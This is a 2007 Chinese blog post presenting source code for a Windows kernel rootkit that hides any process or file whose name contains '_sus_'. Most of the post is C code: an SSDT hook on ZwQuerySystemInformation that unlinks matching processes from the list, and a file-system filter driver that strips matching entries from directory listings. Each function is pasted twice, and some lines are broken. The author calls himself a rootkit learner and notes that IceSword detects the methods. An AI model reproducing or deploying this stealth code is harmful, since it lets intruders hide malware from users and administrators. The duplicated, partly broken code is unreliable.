一个rootkit程序--隐藏文件和进程

This is SUS's rootkit. It can hide files and processes
   when their names include "_sus_".
=================================================================
Written by dklkt.  2007.9
Notice that it can't run automaticly after the computer reboot!

Usage: sushide2003 [-start]             Install and start the SUS's rootkit.
       sushide2003  -uninstall          Uninstall the rootkit.
-----------------------------------------------------------------   

直接运行,或者加参数-start运行,都是安装并开始rootkit.而加参数-uninstall则是停掉并移除rootkt.

    这个程序的功能是隐藏所有文件名中含有_sus_的文件,并且也在进程中隐藏它们.

    下面说说具体的功能实现:

    1.隐藏进程.

       隐藏进程的实现用的是SSDT钩子技术. SSDT是System Service Dispatch Table(系统服务调度表

).该表可以基于系统调用病好进行索引,以便定位函数的内存地址. 再说说windows操作系统, 有个叫

ZwQuerySystemInformation的函数, Taskmgr.exe通过该函数获取系统上的进程列表. 我们通过将

NtQuerySystemInformation函数放到SSDT中, 然后在原函数返回的结果上进行过滤,就可以达到隐藏进程

的目的.
     这个是新写的ZwQuerySystemInformation函数:
NTSTATUS NewZwQuerySystemInformation(  
            IN ULONG SystemInformationClass,  
            IN PVOID SystemInformation,  
            IN ULONG SystemInformationLength,  
            OUT PULONG ReturnLength)  
{  
 
   NTSTATUS ntStatus;  
 
   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (  
          SystemInformationClass,  
          SystemInformation,  
          SystemInformationLength,  
          ReturnLength );  
 
   if( NT_SUCCESS(ntStatus))   
   {  
      // Asking for a file and directory listing  
      if(SystemInformationClass == 5)  
      {  
       // This is a query for the process list.  
            
         struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *) SystemInformation;  
         struct _SYSTEM_PROCESSES *prev = NULL;  
       
     while(curr)  
     {  
            //DbgPrint("Current item is %x/n", curr);  
      if (curr->ProcessName.Buffer != NULL)  
      {  
        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),  L"_sus_") )    //进程名中包含_sus_则隐藏  
        {  
          m_UserTime.QuadPart += curr->UserTime.QuadPart;  
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;  
 
          if(prev) // Middle or Last entry  
          {  
            if(curr->NextEntryDelta)  
              prev->NextEntryDelta += curr->NextEntryDelta;  
            else  // we are last, so make prev the  end  
              prev->NextEntryDelta = 0;  
          }  
          else 
          {  
            if(curr->NextEntryDelta)  
            {  
              // we are first in the list, so  move it forward  
              (char *)SystemInformation += curr- >NextEntryDelta;  
            }  
            else // we are the only process!  
              SystemInformation = NULL;  
          }  
        }  
      }  
      else // This is the entry for the Idle process  
      {  
         // Add the kernel and user times of _root_*   
         // processes to the Idle process.  
         curr->UserTime.QuadPart += m_UserTime.QuadPart;  
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;  
 
         // Reset the timers for next time we filter  
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;  
      }  
      prev = curr;  
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);  
        else curr = NULL;  
       }  
    }  
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes  
    {  
         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;  
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;  
    }  
 
   }  
   return ntStatus;  

NTSTATUS NewZwQuerySystemInformation(
            IN ULONG SystemInformationClass,
            IN PVOID SystemInformation,
            IN ULONG SystemInformationLength,
            OUT PULONG ReturnLength)
{

   NTSTATUS ntStatus;

   ntStatus = ((ZWQUERYSYSTEMINFORMATION)(OldZwQuerySystemInformation)) (
          SystemInformationClass,
          SystemInformation,
          SystemInformationLength,
          ReturnLength );

   if( NT_SUCCESS(ntStatus))
   {
      // Asking for a file and directory listing
      if(SystemInformationClass == 5)
      {
       // This is a query for the process list.

     struct _SYSTEM_PROCESSES *curr = (struct _SYSTEM_PROCESSES *)SystemInformation;
         struct _SYSTEM_PROCESSES *prev = NULL;
    
     while(curr)
     {
            //DbgPrint("Current item is %x/n", curr);
      if (curr->ProcessName.Buffer != NULL)
      {

        if( wcsstr( ( wchar_t *)(curr->ProcessName.Buffer),L"_sus_") )    //进程名中包含_sus_则隐藏
        {
          m_UserTime.QuadPart += curr->UserTime.QuadPart;
          m_KernelTime.QuadPart += curr->KernelTime.QuadPart;

          if(prev) // Middle or Last entry
          {
            if(curr->NextEntryDelta)

              prev->NextEntryDelta += curr->NextEntryDelta;

            else  // we are last, so make prev the end
              prev->NextEntryDelta = 0;
          }
          else
          {
            if(curr->NextEntryDelta)
            {

              // we are first in the list, so move it forward

              (char *)SystemInformation += curr->NextEntryDelta;
            }
            else // we are the only process!
              SystemInformation = NULL;
          }
        }
      }
      else // This is the entry for the Idle process
      {
         // Add the kernel and user times of _root_*
         // processes to the Idle process.
         curr->UserTime.QuadPart += m_UserTime.QuadPart;
         curr->KernelTime.QuadPart += m_KernelTime.QuadPart;

         // Reset the timers for next time we filter
         m_UserTime.QuadPart = m_KernelTime.QuadPart = 0;
      }
      prev = curr;
        if(curr->NextEntryDelta) ((char *)curr += curr->NextEntryDelta);
        else curr = NULL;
       }
    }
    else if (SystemInformationClass == 8) // Query for SystemProcessorTimes
    {

         struct _SYSTEM_PROCESSOR_TIMES * times = (struct _SYSTEM_PROCESSOR_TIMES *)SystemInformation;
         times->IdleTime.QuadPart += m_UserTime.QuadPart + m_KernelTime.QuadPart;
    }

   }
   return ntStatus;
}    2.隐藏文件

      本来隐藏文件也可以用钩子的,但是由于手头有MS的IFS DDK,所以干脆写成了文件过滤驱动.它直

接作用于文件系统驱动之上, 将其得到的结果修改后返回上层驱动. 因为文件过滤驱动比较复杂,因此我

这里只是简单的修改了一下DDK开发包里提供的sfilter例子.
     首先是创建一个处理IRP_MJ_DIRECTORY_CONTROL的例程FsDirectoryControlview plaincopy to clipboardprint?
//=================================================  
NTSTATUS  
FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject,  
                   IN PIRP Irp)  
{  
    NTSTATUS status;  
    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp  
 
(IO_STACK_LOCATION)的参数  
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;  
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;  
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;  
    KEVENT waitEvent;  
    //UNICODE_STRING path;  
 
    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));  
 
    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)  
    {  
        goto SkipHandle;  
    }  
    if (Irp->RequestorMode == KernelMode)  
    {  
        goto SkipHandle;  
    }  
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )  
  {  
    goto SkipHandle;  
  }  
  /* 
    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)  
    {     
        goto SkipHandle; 
    }*/ 
  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)  
  {  
    goto SkipHandle;  
  }  
    //设置完成回调函数  
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);  
    IoCopyCurrentIrpStackLocationToNext(Irp);  
    //IoSetCompletionRoutine  
 
(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);  
    IoSetCompletionRoutine(      
                            Irp,  
                            DirControlCompletion,        //CompletionRoutine  
                            &waitEvent,                    //context parameter  
                            TRUE,  
                            TRUE,  
                            TRUE  
                            );  
 
    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);  
    if (STATUS_PENDING == status)  
    {  
        //等待完成  
        status = KeWaitForSingleObject(&waitEvent,  
                                        Executive,  
                                        KernelMode,  
                                        FALSE,  
                                        NULL  
                                        );  
        ASSERT(STATUS_SUCCESS == status);  
    }  
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))   
    {      
        IoCompleteRequest(Irp, IO_NO_INCREMENT);  
        return status;  
    }  
    //KdPrint(("Hook Directory./n"));  
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);  
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));  
 
    IoCompleteRequest(Irp, IO_NO_INCREMENT);  
    return status;  
 
SkipHandle:  
    IoSkipCurrentIrpStackLocation(Irp);  
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);  

//=================================================
NTSTATUS  FsDirectoryControl(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp)
{
    NTSTATUS status;

    PIO_STACK_LOCATION irpSp = IoGetCurrentIrpStackLocation(Irp);    //当前Irp(IO_STACK_LOCATION)的参数
//    PDEVICE_EXTENSION devExt = DeviceObject->DeviceExtension;
  PSFILTER_DEVICE_EXTENSION  devExt = DeviceObject->DeviceExtension;
    PFILE_BOTH_DIR_INFORMATION dirInfo = NULL;
    KEVENT waitEvent;
    //UNICODE_STRING path;

    ASSERT(IS_MY_DEVICE_OBJECT(DeviceObject));

    if (IRP_MN_QUERY_DIRECTORY != irpSp->MinorFunction)
    {
        goto SkipHandle;
    }
    if (Irp->RequestorMode == KernelMode)
    {
        goto SkipHandle;
    }
  if (KeGetCurrentIrql() != PASSIVE_LEVEL )
  {
    goto SkipHandle;
  }
  /*

    if (FileBothDirectoryInformation != ((PQUERY_DIRECTORY)&irpSp->Parameters)->FileInformationClass)
    {   
        goto SkipHandle;
    }*/

  if (irpSp ->Parameters.QueryDirectory.FileInformationClass !=FileBothDirectoryInformation)
  {
    goto SkipHandle;
  }
    //设置完成回调函数
    KeInitializeEvent(&waitEvent, NotificationEvent, FALSE);
    IoCopyCurrentIrpStackLocationToNext(Irp);
    //IoSetCompletionRoutine

(Irp,CompletionRoutine,context,InvokeOnSuccess,InvokeOnError,InvokeOnCancel);
    IoSetCompletionRoutine(   
                            Irp,
                            DirControlCompletion,        //CompletionRoutine
                            &waitEvent,                    //context parameter
                            TRUE,
                            TRUE,
                            TRUE
                            );

    status = IoCallDriver(devExt->AttachedToDeviceObject, Irp);
    if (STATUS_PENDING == status)
    {
        //等待完成
        status = KeWaitForSingleObject(&waitEvent,
                                        Executive,
                                        KernelMode,
                                        FALSE,
                                        NULL
                                        );
        ASSERT(STATUS_SUCCESS == status);
    }
    if (!NT_SUCCESS(status) ||(0 == irpSp->Parameters.QueryFile.Length))
    {   
        IoCompleteRequest(Irp, IO_NO_INCREMENT);
        return status;
    }
    //KdPrint(("Hook Directory./n"));
    //HandleDirectory(Irp->UserBuffer,  &((PQUERY_DIRECTORY)&irpSp->Parameters)->Length);
  HandleDirectory(Irp->UserBuffer,  &(Irp->IoStatus.Information));

    IoCompleteRequest(Irp, IO_NO_INCREMENT);
    return status;

SkipHandle:
    IoSkipCurrentIrpStackLocation(Irp);
    return IoCallDriver(devExt->AttachedToDeviceObject, Irp);
}然后对返回的结果进行操作:view plaincopy to clipboardprint?
//-------------------------------------------  
//隐藏文件过滤的函数  
BOOLEAN  HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)  
{  
  //处理目录操作  
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;  
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;  
  ULONG offset = 0;  
  ULONG position = 0;  
  ULONG newLenth = *lpBufLenth;  
//  WCHAR fileName[] = L"Test.txt";  
  do 
  {  
    offset = currentDirInfo->NextEntryOffset;  
    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中包含_sus_则隐藏  
    {  
      //Now We Will Test The FileName  
      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));  
      if (0 == offset)  
      {  
        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth, position, newLenth-(*lpBufLenth - position)));  
        //Reset Last DirInfo NextEntryOffset To Zero!!!  
        if (lastDirInfo)  
        {  
          lastDirInfo->NextEntryOffset = 0;  
          newLenth -= *lpBufLenth - position;  
        }  
        else 
        {  
          currentDirInfo->NextEntryOffset = 0;  
          *lpBufLenth = 0;  
          return TRUE;  
        }  
      }  
      else 
      {  
        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,  position));  
        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);  
        newLenth -= offset;  
        position += offset;  
      }  
    }  
    else 
    {  
      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,   
 
currentDirInfo->FileName));  
      //Move Next  
      position += offset;  
      lastDirInfo = currentDirInfo;  
      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);  
    }  
  } while (0 != offset);  
  *lpBufLenth = newLenth;  
  return TRUE;  
}  
//-------------------------------  
//完成例程  
NTSTATUS  
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)  
{  
  PKEVENT event = Context;  
 
    UNREFERENCED_PARAMETER( DeviceObject );  
    UNREFERENCED_PARAMETER( Irp );  
 
    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));  
 
  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);  
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);  
 
    return STATUS_MORE_PROCESSING_REQUIRED;   

//-------------------------------------------
//隐藏文件过滤的函数
BOOLEAN
HandleDirectory(IN OUT PFILE_BOTH_DIR_INFORMATION DirInfo, IN PULONG lpBufLenth)
{
  //处理目录操作
  PFILE_BOTH_DIR_INFORMATION currentDirInfo = DirInfo;
  PFILE_BOTH_DIR_INFORMATION lastDirInfo = NULL;
  ULONG offset = 0;
  ULONG position = 0;
  ULONG newLenth = *lpBufLenth;
//  WCHAR fileName[] = L"Test.txt";
  do
  {
    offset = currentDirInfo->NextEntryOffset;

    if( wcsstr( ( wchar_t *)currentDirInfo->FileName, L"_sus_") )    //文件中含_sus_则隐藏
    {
      //Now We Will Test The FileName

      //KdPrint(("%08x Hided File:%ws[%d]/n", currentDirInfo->FileAttributes, currentDirInfo->FileName, currentDirInfo->FileNameLength));
      if (0 == offset)
      {

        //KdPrint(("l[%d][%d][%d][%d]/n", newLenth, *lpBufLenth,position, newLenth-(*lpBufLenth - position)));
        //Reset Last DirInfo NextEntryOffset To Zero!!!
        if (lastDirInfo)
        {
          lastDirInfo->NextEntryOffset = 0;
          newLenth -= *lpBufLenth - position;
        }
        else
        {
          currentDirInfo->NextEntryOffset = 0;
          *lpBufLenth = 0;
          return TRUE;
        }
      }
      else
      {

        //KdPrint(("n[%d][%d][%d]/n", newLenth, *lpBufLenth,position));

        RtlMoveMemory(currentDirInfo, (PUCHAR)currentDirInfo +offset, *lpBufLenth - position - offset);
        newLenth -= offset;
        position += offset;
      }
    }
    else
    {

      //KdPrint(("%08x Directory:%ws/n", currentDirInfo->FileAttributes,currentDirInfo->FileName));
      //Move Next
      position += offset;
      lastDirInfo = currentDirInfo;

      currentDirInfo = (PFILE_BOTH_DIR_INFORMATION)((PUCHAR)currentDirInfo + offset);
    }
  } while (0 != offset);
  *lpBufLenth = newLenth;
  return TRUE;
}
//-------------------------------
//完成例程
NTSTATUS
DirControlCompletion(IN PDEVICE_OBJECT DeviceObject, IN PIRP Irp, IN PVOID Context)
{
  PKEVENT event = Context;

    UNREFERENCED_PARAMETER( DeviceObject );
    UNREFERENCED_PARAMETER( Irp );

    ASSERT(IS_MY_DEVICE_OBJECT( DeviceObject ));

  //if (Irp->PendingReturned) IoMarkIrpPending(Irp);
    KeSetEvent(event, IO_NO_INCREMENT, FALSE);

    return STATUS_MORE_PROCESSING_REQUIRED;
}     因为还是初学rootkit,所以以上代码并非本人原创, 特此声明. 在此也感谢下作者. 很多地方我也

是正在学习中. 目前正在看Greg Hoglund 和James Butler写的《ROOTKITS--Windows内核的安全防护》

。也给大家推荐下。另外,顺便提下,本程序中所用到的方法都可以被IceSword检测到。

你可能感兴趣的:(Hacker,C/C++)